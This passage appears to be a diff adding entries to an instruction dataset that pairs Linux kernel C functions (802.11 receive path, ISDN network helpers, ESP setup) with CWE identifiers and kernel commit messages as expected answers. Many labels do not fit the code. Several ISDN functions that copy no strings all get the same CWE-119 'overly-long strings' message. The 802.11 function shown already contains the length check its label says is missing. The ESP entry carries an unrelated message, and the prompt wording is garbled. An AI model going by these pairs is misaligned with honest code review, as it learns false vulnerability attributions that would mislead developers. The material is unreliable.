'cwe': ['CWE-189'], 'message': '[IEEE80211]: avoid integer underflow for runt rx frames\n\nReported by Chris Evans :\n\n> The summary is that an evil 80211 frame can crash out a victim's\n> machine. It only applies to drivers using the 80211 wireless code, and\n> only then to certain drivers (and even then depends on a card's\n> firmware not dropping a dubious packet). I must confess I'm not\n> keeping track of Linux wireless support, and the different protocol\n> stacks etc.\n>\n> Details are as follows:\n>\n> ieee80211_rx() does not explicitly check that \"skb->len >= hdrlen\".\n> There are other skb->len checks, but not enough to prevent a subtle\n> off-by-two error if the frame has the IEEE80211_STYPE_QOS_DATA flag\n> set.\n>\n> This leads to integer underflow and crash here:\n>\n> if (frag != 0)\n>    flen -= hdrlen;\n>\n> (flen is subsequently used as a memcpy length parameter).\n\nHow about this?\n\nSigned-off-by: John W. Linville \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,\n\t\t struct ieee80211_rx_stats *rx_stats)\n{\n\tstruct net_device *dev = ieee->dev;\n\tstruct ieee80211_hdr_4addr *hdr;\n\tsize_t hdrlen;\n\tu16 fc, type, stype, sc;\n\tstruct net_device_stats *stats;\n\tunsigned int frag;\n\tu8 *payload;\n\tu16 ethertype;\n#ifdef NOT_YET\n\tstruct net_device *wds = NULL;\n\tstruct sk_buff *skb2 = NULL;\n\tstruct net_device *wds = NULL;\n\tint frame_authorized = 0;\n\tint from_assoc_ap = 0;\n\tvoid *sta = NULL;\n#endif\n\tu8 dst[ETH_ALEN];\n\tu8 src[ETH_ALEN];\n\tstruct ieee80211_crypt_data *crypt = NULL;\n\tint keyidx = 0;\n\tint can_be_decrypted = 0;\n\n\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\tstats = &ieee->stats;\n\n\tif (skb->len < 10) {\n\t\tprintk(KERN_INFO \"%s: SKB length < 10\\n\", dev->name);\n\t\tgoto rx_dropped;\n\t}\n\n\tfc = le16_to_cpu(hdr->frame_ctl);\n\ttype = WLAN_FC_GET_TYPE(fc);\n\tstype = WLAN_FC_GET_STYPE(fc);\n\tsc = le16_to_cpu(hdr->seq_ctl);\n\tfrag = WLAN_GET_SEQ_FRAG(sc);\n\thdrlen = ieee80211_get_hdrlen(fc);\n\n\tif (skb->len < hdrlen) {\n\t\tprintk(KERN_INFO \"%s: invalid SKB length %d\\n\",\n\t\t\tdev->name, skb->len);\n\t\tgoto rx_dropped;\n\t}\n\n\t/* Put this code here so that we avoid duplicating it in all\n\t * Rx paths. - Jean II */\n#ifdef CONFIG_WIRELESS_EXT\n#ifdef IW_WIRELESS_SPY\t\t/* defined in iw_handler.h */\n\t/* If spy monitoring on */\n\tif (ieee->spy_data.spy_number > 0) {\n\t\tstruct iw_quality wstats;\n\n\t\twstats.updated = 0;\n\t\tif (rx_stats->mask & IEEE80211_STATMASK_RSSI) {\n\t\t\twstats.level = rx_stats->rssi;\n\t\t\twstats.updated |= IW_QUAL_LEVEL_UPDATED;\n\t\t} else\n\t\t\twstats.updated |= IW_QUAL_LEVEL_INVALID;\n\n\t\tif (rx_stats->mask & IEEE80211_STATMASK_NOISE) {\n\t\t\twstats.noise = rx_stats->noise;\n\t\t\twstats.updated |= IW_QUAL_NOISE_UPDATED;\n\t\t} else\n\t\t\twstats.updated |= IW_QUAL_NOISE_INVALID;\n\n\t\tif (rx_stats->mask & IEEE80211_STATMASK_SIGNAL) {\n\t\t\twstats.qual = rx_stats->signal;\n\t\t\twstats.updated |= IW_QUAL_QUAL_UPDATED;\n\t\t} else\n\t\t\twstats.updated |= IW_QUAL_QUAL_INVALID;\n\n\t\t/* Update spy records */\n\t\twireless_spy_update(ieee->dev, hdr->addr2, &wstats);\n\t}\n#endif\t\t\t\t/* IW_WIRELESS_SPY */\n#endif\t\t\t\t/* CONFIG_WIRELESS_EXT */\n\n#ifdef NOT_YET\n\thostap_update_rx_stats(local->ap, hdr, rx_stats);\n#endif\n\n\tif (ieee->iw_mode == IW_MODE_MONITOR) {\n\t\tstats->rx_packets++;\n\t\tstats->rx_bytes += skb->len;\n\t\tieee80211_monitor_rx(ieee, skb, rx_stats);\n\t\treturn 1;\n\t}\n\n\tcan_be_decrypted = (is_multicast_ether_addr(hdr->addr1) ||\n\t\t\t    is_broadcast_ether_addr(hdr->addr2)) ?\n\t    ieee->host_mc_decrypt : ieee->host_decrypt;\n\n\tif (can_be_decrypted) {\n\t\tif (skb->len >= hdrlen + 3) {\n\t\t\t/* Top two-bits of byte 3 are the key index */\n\t\t\tkeyidx = skb->data[hdrlen + 3] >> 6;\n\t\t}\n\n\t\t/* ieee->crypt[] is WEP_KEY (4) in length.  Given that keyidx\n\t\t * is only allowed 2-bits of storage, no value of keyidx can\n\t\t * be provided via above code that would result in keyidx\n\t\t * being out of range */\n\t\tcrypt = ieee->crypt[keyidx];\n\n#ifdef NOT_YET\n\t\tsta = NULL;\n\n\t\t/* Use station specific key to override default keys if the\n\t\t * receiver address is a unicast address (\"individual RA\"). If\n\t\t * bcrx_sta_key parameter is set, station specific key is used\n\t\t * even with broad/multicast targets (this is against IEEE\n\t\t * 802.11, but makes it easier to use different keys with\n\t\t * stations that do not support WEP key mapping). */\n\n\t\tif (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key)\n\t\t\t(void)hostap_handle_sta_crypto(local, hdr, &crypt,\n\t\t\t\t\t\t       &sta);\n#endif\n\n\t\t/* allow NULL decrypt to indicate an station specific override\n\t\t * for default encryption */\n\t\tif (crypt && (crypt->ops == NULL ||\n\t\t\t      crypt->ops->decrypt_mpdu == NULL))\n\t\t\tcrypt = NULL;\n\n\t\tif (!crypt && (fc & IEEE80211_FCTL_PROTECTED)) {\n\t\t\t/* This seems to be triggered by some (multicast?)\n\t\t\t * frames from other than current BSS, so just drop the\n\t\t\t * frames silently instead of filling system log with\n\t\t\t * these reports. */\n\t\t\tIEEE80211_DEBUG_DROP(\"Decryption failed (not set)\"\n\t\t\t\t\t     \" (SA=\" MAC_FMT \")\\n\",\n\t\t\t\t\t     MAC_ARG(hdr->addr2));\n\t\t\tieee->ieee_stats.rx_discards_undecryptable++;\n\t\t\tgoto rx_dropped;\n\t\t}\n\t}\n#ifdef NOT_YET\n\tif (type != WLAN_FC_TYPE_DATA) {\n\t\tif (type == WLAN_FC_TYPE_MGMT && stype == WLAN_FC_STYPE_AUTH &&\n\t\t    fc & IEEE80211_FCTL_PROTECTED && ieee->host_decrypt &&\n\t\t    (keyidx = hostap_rx_frame_decrypt(ieee, skb, crypt)) < 0) {\n\t\t\tprintk(KERN_DEBUG \"%s: failed to decrypt mgmt::auth \"\n\t\t\t       \"from \" MAC_FMT \"\\n\", dev->name,\n\t\t\t       MAC_ARG(hdr->addr2));\n\t\t\t/* TODO: could inform hostapd about this so that it\n\t\t\t * could send auth failure report */\n\t\t\tgoto rx_dropped;\n\t\t}\n\n\t\tif (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype))\n\t\t\tgoto rx_dropped;\n\t\telse\n\t\t\tgoto rx_exit;\n\t}\n#endif\n\t/* drop duplicate 802.11 retransmissions (IEEE 802.11 Chap. 9.29) */\n\tif (sc == ieee->prev_seq_ctl)\n\t\tgoto rx_dropped;\n\telse\n\t\tieee->prev_seq_ctl = sc;\n\n\t/* Data frame - extract src/dst addresses */\n\tif (skb->len < IEEE80211_3ADDR_LEN)\n\t\tgoto rx_dropped;\n\n\tswitch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) {\n\tcase IEEE80211_FCTL_FROMDS:\n\t\tmemcpy(dst, hdr->addr1, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr3, ETH_ALEN);\n\t\tbreak;\n\tcase IEEE80211_FCTL_TODS:\n\t\tmemcpy(dst, hdr->addr3, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr2, ETH_ALEN);\n\t\tbreak;\n\tcase IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS:\n\t\tif (skb->len < IEEE80211_4ADDR_LEN)\n\t\t\tgoto rx_dropped;\n\t\tmemcpy(dst, hdr->addr3, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr4, ETH_ALEN);\n\t\tbreak;\n\tcase 0:\n\t\tmemcpy(dst, hdr->addr1, ETH_ALEN);\n\t\tmemcpy(src, hdr->addr2, ETH_ALEN);\n\t\tbreak;\n\t}\n\n#ifdef NOT_YET\n\tif (hostap_rx_frame_wds(ieee, hdr, fc, &wds))\n\t\tgoto rx_dropped;\n\tif (wds) {\n\t\tskb->dev = dev = wds;\n\t\tstats = hostap_get_stats(dev);\n\t}\n\n\tif (ieee->iw_mode == IW_MODE_MASTER && !wds &&\n\t    (fc & (IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS)) ==\n\t    IEEE80211_FCTL_FROMDS && ieee->stadev\n\t    && !compare_ether_addr(hdr->addr2, ieee->assoc_ap_addr)) {\n\t\t/* Frame from BSSID of the AP for which we are a client */\n\t\tskb->dev = dev = ieee->stadev;\n\t\tstats = hostap_get_stats(dev);\n\t\tfrom_assoc_ap = 1;\n\t}\n#endif\n\n\tdev->last_rx = jiffies;\n\n#ifdef NOT_YET\n\tif ((ieee->iw_mode == IW_MODE_MASTER ||\n\t     ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) {\n\t\tswitch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats,\n\t\t\t\t\t     wds != NULL)) {\n\t\tcase AP_RX_CONTINUE_NOT_AUTHORIZED:\n\t\t\tframe_authorized = 0;\n\t\t\tbreak;\n\t\tcase AP_RX_CONTINUE:\n\t\t\tframe_authorized = 1;\n\t\t\tbreak;\n\t\tcase AP_RX_DROP:\n\t\t\tgoto rx_dropped;\n\t\tcase AP_RX_EXIT:\n\t\t\tgoto rx_exit;\n\t\t}\n\t}\n#endif\n\n\t/* Nullfunc frames may have PS-bit set, so they must be passed to\n\t * hostap_handle_sta_rx() before being dropped here. */\n\n\tstype &= ~IEEE80211_STYPE_QOS_DATA;\n\n\tif (stype != IEEE80211_STYPE_DATA &&\n\t    stype != IEEE80211_STYPE_DATA_CFACK &&\n\t    stype != IEEE80211_STYPE_DATA_CFPOLL &&\n\t    stype != IEEE80211_STYPE_DATA_CFACKPOLL) {\n\t\tif (stype != IEEE80211_STYPE_NULLFUNC)\n\t\t\tIEEE80211_DEBUG_DROP(\"RX: dropped data frame \"\n\t\t\t\t\t     \"with no data (type=0x%02x, \"\n\t\t\t\t\t     \"subtype=0x%02x, len=%d)\\n\",\n\t\t\t\t\t     type, stype, skb->len);\n\t\tgoto rx_dropped;\n\t}\n\n\t/* skb: hdr + (possibly fragmented, possibly encrypted) payload */\n\n\tif ((fc & IEEE80211_FCTL_PROTECTED) && can_be_decrypted &&\n\t    (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0)\n\t\tgoto rx_dropped;\n\n\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\n\t/* skb: hdr + (possibly fragmented) plaintext payload */\n\t// PR: FIXME: hostap has additional conditions in the \"if\" below:\n\t// ieee->host_decrypt && (fc & IEEE80211_FCTL_PROTECTED) &&\n\tif ((frag != 0) || (fc & IEEE80211_FCTL_MOREFRAGS)) {\n\t\tint flen;\n\t\tstruct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr);\n\t\tIEEE80211_DEBUG_FRAG(\"Rx Fragment received (%u)\\n\", frag);\n\n\t\tif (!frag_skb) {\n\t\t\tIEEE80211_DEBUG(IEEE80211_DL_RX | IEEE80211_DL_FRAG,\n\t\t\t\t\t\"Rx cannot get skb from fragment \"\n\t\t\t\t\t\"cache (morefrag=%d seq=%u frag=%u)\\n\",\n\t\t\t\t\t(fc & IEEE80211_FCTL_MOREFRAGS) != 0,\n\t\t\t\t\tWLAN_GET_SEQ_SEQ(sc), frag);\n\t\t\tgoto rx_dropped;\n\t\t}\n\n\t\tflen = skb->len;\n\t\tif (frag != 0)\n\t\t\tflen -= hdrlen;\n\n\t\tif (frag_skb->tail + flen > frag_skb->end) {\n\t\t\tprintk(KERN_WARNING \"%s: host decrypted and \"\n\t\t\t       \"reassembled frame did not fit skb\\n\",\n\t\t\t       dev->name);\n\t\t\tieee80211_frag_cache_invalidate(ieee, hdr);\n\t\t\tgoto rx_dropped;\n\t\t}\n\n\t\tif (frag == 0) {\n\t\t\t/* copy first fragment (including full headers) into\n\t\t\t * beginning of the fragment cache skb */\n\t\t\tskb_copy_from_linear_data(skb, skb_put(frag_skb, flen), flen);\n\t\t} else {\n\t\t\t/* append frame payload to the end of the fragment\n\t\t\t * cache skb */\n\t\t\tskb_copy_from_linear_data_offset(skb, hdrlen,\n\t\t\t\t      skb_put(frag_skb, flen), flen);\n\t\t}\n\t\tdev_kfree_skb_any(skb);\n\t\tskb = NULL;\n\n\t\tif (fc & IEEE80211_FCTL_MOREFRAGS) {\n\t\t\t/* more fragments expected - leave the skb in fragment\n\t\t\t * cache for now; it will be delivered to upper layers\n\t\t\t * after all fragments have been received */\n\t\t\tgoto rx_exit;\n\t\t}\n\n\t\t/* this was the last fragment and the frame will be\n\t\t * delivered, so remove skb from fragment cache */\n\t\tskb = frag_skb;\n\t\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\t\tieee80211_frag_cache_invalidate(ieee, hdr);\n\t}\n\n\t/* skb: hdr + (possible reassembled) full MSDU payload; possibly still\n\t * encrypted/authenticated */\n\tif ((fc & IEEE80211_FCTL_PROTECTED) && can_be_decrypted &&\n\t    ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt))\n\t\tgoto rx_dropped;\n\n\thdr = (struct ieee80211_hdr_4addr *)skb->data;\n\tif (crypt && !(fc & IEEE80211_FCTL_PROTECTED) && !ieee->open_wep) {\n\t\tif (\t\t/*ieee->ieee802_1x && */\n\t\t\t   ieee80211_is_eapol_frame(ieee, skb)) {\n\t\t\t/* pass unencrypted EAPOL frames even if encryption is\n\t\t\t * configured */\n\t\t} else {\n\t\t\tIEEE80211_DEBUG_DROP(\"encryption configured, but RX \"\n\t\t\t\t\t     \"frame not encrypted (SA=\" MAC_FMT\n\t\t\t\t\t     \")\\n\", MAC_ARG(hdr->addr2));\n\t\t\tgoto rx_dropped;\n\t\t}\n\t}\n\n\tif (crypt && !(fc & IEEE80211_FCTL_PROTECTED) && !ieee->open_wep &&\n\t    !ieee80211_is_eapol_frame(ieee, skb)) {\n\t\tIEEE80211_DEBUG_DROP(\"dropped unencrypted RX data \"\n\t\t\t\t     \"frame from \" MAC_FMT\n\t\t\t\t     \" (drop_unencrypted=1)\\n\",\n\t\t\t\t     MAC_ARG(hdr->addr2));\n\t\tgoto rx_dropped;\n\t}\n\n\t/* If the frame was decrypted in hardware, we may need to strip off\n\t * any security data (IV, ICV, etc) that was left behind */\n\tif (!can_be_decrypted && (fc & IEEE80211_FCTL_PROTECTED) &&\n\t    ieee->host_strip_iv_icv) {\n\t\tint trimlen = 0;\n\n\t\t/* Top two-bits of byte 3 are the key index */\n\t\tif (skb->len >= hdrlen + 3)\n\t\t\tkeyidx = skb->data[hdrlen + 3] >> 6;\n\n\t\t/* To strip off any security data which appears before the\n\t\t * payload, we simply increase hdrlen (as the header gets\n\t\t * chopped off immediately below). For the security data which\n\t\t * appears after the payload, we use skb_trim. */\n\n\t\tswitch (ieee->sec.encode_alg[keyidx]) {\n\t\tcase SEC_ALG_WEP:\n\t\t\t/* 4 byte IV */\n\t\t\thdrlen += 4;\n\t\t\t/* 4 byte ICV */\n\t\t\ttrimlen = 4;\n\t\t\tbreak;\n\t\tcase SEC_ALG_TKIP:\n\t\t\t/* 4 byte IV, 4 byte ExtIV */\n\t\t\thdrlen += 8;\n\t\t\t/* 8 byte MIC, 4 byte ICV */\n\t\t\ttrimlen = 12;\n\t\t\tbreak;\n\t\tcase SEC_ALG_CCMP:\n\t\t\t/* 8 byte CCMP header */\n\t\t\thdrlen += 8;\n\t\t\t/* 8 byte MIC */\n\t\t\ttrimlen = 8;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (skb->len < trimlen)\n\t\t\tgoto rx_dropped;\n\n\t\t__skb_trim(skb, skb->len - trimlen);\n\n\t\tif (skb->len < hdrlen)\n\t\t\tgoto rx_dropped;\n\t}\n\n\t/* skb: hdr + (possible reassembled) full plaintext payload */\n\n\tpayload = skb->data + hdrlen;\n\tethertype = (payload[6] << 8) | payload[7];\n\n#ifdef NOT_YET\n\t/* If IEEE 802.1X is used, check whether the port is authorized to send\n\t * the received frame. */\n\tif (ieee->ieee802_1x && ieee->iw_mode == IW_MODE_MASTER) {\n\t\tif (ethertype == ETH_P_PAE) {\n\t\t\tprintk(KERN_DEBUG \"%s: RX: IEEE 802.1X frame\\n\",\n\t\t\t       dev->name);\n\t\t\tif (ieee->hostapd && ieee->apdev) {\n\t\t\t\t/* Send IEEE 802.1X frames to the user\n\t\t\t\t * space daemon for processing */\n\t\t\t\tprism2_rx_80211(ieee->apdev, skb, rx_stats,\n\t\t\t\t\t\tPRISM2_RX_MGMT);\n\t\t\t\tieee->apdevstats.rx_packets++;\n\t\t\t\tieee->apdevstats.rx_bytes += skb->len;\n\t\t\t\tgoto rx_exit;\n\t\t\t}\n\t\t} else if (!frame_authorized) {\n\t\t\tprintk(KERN_DEBUG \"%s: dropped frame from \"\n\t\t\t       \"unauthorized port (IEEE 802.1X): \"\n\t\t\t       \"ethertype=0x%04x\\n\", dev->name, ethertype);\n\t\t\tgoto rx_dropped;\n\t\t}\n\t}\n#endif\n\n\t/* convert hdr + possible LLC headers into Ethernet header */\n\tif (skb->len - hdrlen >= 8 &&\n\t    ((memcmp(payload, rfc1042_header, SNAP_SIZE) == 0 &&\n\t      ethertype != ETH_P_AARP && ethertype != ETH_P_IPX) ||\n\t     memcmp(payload, bridge_tunnel_header, SNAP_SIZE) == 0)) {\n\t\t/* remove RFC1042 or Bridge-Tunnel encapsulation and\n\t\t * replace EtherType */\n\t\tskb_pull(skb, hdrlen + SNAP_SIZE);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), src, ETH_ALEN);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), dst, ETH_ALEN);\n\t} else {\n\t\tu16 len;\n\t\t/* Leave Ethernet header part of hdr and full payload */\n\t\tskb_pull(skb, hdrlen);\n\t\tlen = htons(skb->len);\n\t\tmemcpy(skb_push(skb, 2), &len, 2);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), src, ETH_ALEN);\n\t\tmemcpy(skb_push(skb, ETH_ALEN), dst, ETH_ALEN);\n\t}\n\n#ifdef NOT_YET\n\tif (wds && ((fc & (IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS)) ==\n\t\t    IEEE80211_FCTL_TODS) && skb->len >= ETH_HLEN + ETH_ALEN) {\n\t\t/* Non-standard frame: get addr4 from its bogus location after\n\t\t * the payload */\n\t\tskb_copy_to_linear_data_offset(skb, ETH_ALEN,\n\t\t\t\t\t       skb->data + skb->len - ETH_ALEN,\n\t\t\t\t\t       ETH_ALEN);\n\t\tskb_trim(skb, skb->len - ETH_ALEN);\n\t}\n#endif\n\n\tstats->rx_packets++;\n\tstats->rx_bytes += skb->len;\n\n#ifdef NOT_YET\n\tif (ieee->iw_mode == IW_MODE_MASTER && !wds && ieee->ap->bridge_packets) {\n\t\tif (dst[0] & 0x01) {\n\t\t\t/* copy multicast frame both to the higher layers and\n\t\t\t * to the wireless media */\n\t\t\tieee->ap->bridged_multicast++;\n\t\t\tskb2 = skb_clone(skb, GFP_ATOMIC);\n\t\t\tif (skb2 == NULL)\n\t\t\t\tprintk(KERN_DEBUG \"%s: skb_clone failed for \"\n\t\t\t\t       \"multicast frame\\n\", dev->name);\n\t\t} else if (hostap_is_sta_assoc(ieee->ap, dst)) {\n\t\t\t/* send frame directly to the associated STA using\n\t\t\t * wireless media and not passing to higher layers */\n\t\t\tieee->ap->bridged_unicast++;\n\t\t\tskb2 = skb;\n\t\t\tskb = NULL;\n\t\t}\n\t}\n\n\tif (skb2 != NULL) {\n\t\t/* send to wireless media */\n\t\tskb2->dev = dev;\n\t\tskb2->protocol = __constant_htons(ETH_P_802_3);\n\t\tskb_reset_mac_header(skb2);\n\t\tskb_reset_network_header(skb2);\n\t\t/* skb2->network_header += ETH_HLEN; */\n\t\tdev_queue_xmit(skb2);\n\t}\n#endif\n\n\tif (skb) {\n\t\tskb->protocol = eth_type_trans(skb, dev);\n\t\tmemset(skb->cb, 0, sizeof(skb->cb));\n\t\tskb->ip_summed = CHECKSUM_NONE;\t/* 802.11 crc not sufficient */\n\t\tif (netif_rx(skb) == NET_RX_DROP) {\n\t\t\t/* netif_rx always succeeds, but it might drop\n\t\t\t * the packet.  If it drops the packet, we log that\n\t\t\t * in our stats. */\n\t\t\tIEEE80211_DEBUG_DROP\n\t\t\t    (\"RX: netif_rx dropped the packet\\n\");\n\t\t\tstats->rx_dropped++;\n\t\t}\n\t}\n\n      rx_exit:\n#ifdef NOT_YET\n\tif (sta)\n\t\thostap_handle_sta_release(sta);\n#endif\n\treturn 1;\n\n      rx_dropped:\n\tstats->rx_dropped++;\n\n\t/* Returning 0 indicates to caller that we have not handled the SKB--\n\t * so it is still allocated and can be used again by underlying\n\t * hardware as a DMA target */\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': '[IEEE80211]: avoid integer underflow for runt rx frames\n\nReported by Chris Evans :\n\n> The summary is that an evil 80211 frame can crash out a victim's\n> machine. It only applies to drivers using the 80211 wireless code, and\n> only then to certain drivers (and even then depends on a card's\n> firmware not dropping a dubious packet). I must confess I'm not\n> keeping track of Linux wireless support, and the different protocol\n> stacks etc.\n>\n> Details are as follows:\n>\n> ieee80211_rx() does not explicitly check that \"skb->len >= hdrlen\".\n> There are other skb->len checks, but not enough to prevent a subtle\n> off-by-two error if the frame has the IEEE80211_STYPE_QOS_DATA flag\n> set.\n>\n> This leads to integer underflow and crash here:\n>\n> if (frag != 0)\n>    flen -= hdrlen;\n>\n> (flen is subsequently used as a memcpy length parameter).\n\nHow about this?\n\nSigned-off-by: John W. Linville \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static __inline__ void isdn_net_device_stop_queue(isdn_net_local *lp)\n{\n\tif (lp->master)\n\t\tnetif_stop_queue(lp->master);\n\telse\n\t\tnetif_stop_queue(lp->netdev->dev);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'isdn: avoid copying overly-long strings\n\nAddresses http://bugzilla.kernel.org/show_bug.cgi?id=9416\n\nSigned-off-by: Karsten Keil \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_net_addphone(isdn_net_ioctl_phone * phone)\n{\n\tisdn_net_dev *p = isdn_net_findif(phone->name);\n\tisdn_net_phone *n;\n\n\tif (p) {\n\t\tif (!(n = kmalloc(sizeof(isdn_net_phone), GFP_KERNEL)))\n\t\t\treturn -ENOMEM;\n\t\tstrlcpy(n->num, phone->phone, sizeof(n->num));\n\t\tn->next = p->local->phone[phone->outgoing & 1];\n\t\tp->local->phone[phone->outgoing & 1] = n;\n\t\treturn 0;\n\t}\n\treturn -ENODEV;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'isdn: avoid copying overly-long strings\n\nAddresses http://bugzilla.kernel.org/show_bug.cgi?id=9416\n\nSigned-off-by: Karsten Keil \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_net_force_dial(char *name)\n{\n\tisdn_net_dev *p = isdn_net_findif(name);\n\n\tif (!p)\n\t\treturn -ENODEV;\n\treturn (isdn_net_force_dial_lp(p->local));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'isdn: avoid copying overly-long strings\n\nAddresses http://bugzilla.kernel.org/show_bug.cgi?id=9416\n\nSigned-off-by: Karsten Keil \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_net_getphones(isdn_net_ioctl_phone * phone, char __user *phones)\n{\n\tisdn_net_dev *p = isdn_net_findif(phone->name);\n\tint inout = phone->outgoing & 1;\n\tint more = 0;\n\tint count = 0;\n\tisdn_net_phone *n;\n\n\tif (!p)\n\t\treturn -ENODEV;\n\tinout &= 1;\n\tfor (n = p->local->phone[inout]; n; n = n->next) {\n\t\tif (more) {\n\t\t\tput_user(' ', phones++);\n\t\t\tcount++;\n\t\t}\n\t\tif (copy_to_user(phones, n->num, strlen(n->num) + 1)) {\n\t\t\treturn -EFAULT;\n\t\t}\n\t\tphones += strlen(n->num);\n\t\tcount += strlen(n->num);\n\t\tmore = 1;\n\t}\n\tput_user(0, phones);\n\tcount++;\n\treturn count;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'isdn: avoid copying overly-long strings\n\nAddresses http://bugzilla.kernel.org/show_bug.cgi?id=9416\n\nSigned-off-by: Karsten Keil \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_net_swapbind(int drvidx)\n{\n\tisdn_net_dev *p;\n\n#ifdef ISDN_DEBUG_NET_ICALL\n\tprintk(KERN_DEBUG \"n_fi: swapping ch of %d\\n\", drvidx);\n#endif\n\tp = dev->netdev;\n\twhile (p) {\n\t\tif (p->local->pre_device == drvidx)\n\t\t\tswitch (p->local->pre_channel) {\n\t\t\t\tcase 0:\n\t\t\t\t\tp->local->pre_channel = 1;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 1:\n\t\t\t\t\tp->local->pre_channel = 0;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\tp = (isdn_net_dev *) p->next;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'isdn: avoid copying overly-long strings\n\nAddresses http://bugzilla.kernel.org/show_bug.cgi?id=9416\n\nSigned-off-by: Karsten Keil \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_net_ciscohdlck_alloc_skb(isdn_net_local *lp, int len)\n{\n\tunsigned short hl = dev->drv[lp->isdn_device]->interface->hl_hdrlen;\n\tstruct sk_buff *skb;\n\n\tskb = alloc_skb(hl + len, GFP_ATOMIC);\n\tif (skb)\n\t\tskb_reserve(skb, hl);\n\telse \n\t\tprintk(\"isdn out of mem at %s:%d!\\n\", __FILE__, __LINE__);\n\treturn skb;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'isdn: avoid copying overly-long strings\n\nAddresses http://bugzilla.kernel.org/show_bug.cgi?id=9416\n\nSigned-off-by: Karsten Keil \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int esp_init_aead(struct xfrm_state *x)\n{\n\tstruct esp_data *esp = x->data;\n\tstruct crypto_aead *aead;\n\tint err;\n\n\taead = crypto_alloc_aead(x->aead->alg_name, 0, 0);\n\terr = PTR_ERR(aead);\n\tif (IS_ERR(aead))\n\t\tgoto error;\n\n\tesp->aead = aead;\n\n\terr = crypto_aead_setkey(aead, x->aead->alg_key,\n\t\t\t\t (x->aead->alg_key_len + 7) / 8);\n\tif (err)\n\t\tgoto error;\n\n\terr = crypto_aead_setauthsize(aead, x->aead->alg_icv_len / 8);\n\tif (err)\n\t\tgoto error;\n\nerror:\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-16'], 'message': '[ESP]: Ensure IV is in linear part of the skb to avoid BUG() due to OOB access\n\nESP does not account for the IV size when calling pskb_may_pull() to\nensure everything it accesses directly is within the linear part of a\npotential fragment. This results in a BUG() being triggered when the\nboth the IPv4 and IPv6 ESP stack is fed with an skb where the first\nfragment ends between the end of the esp header and the 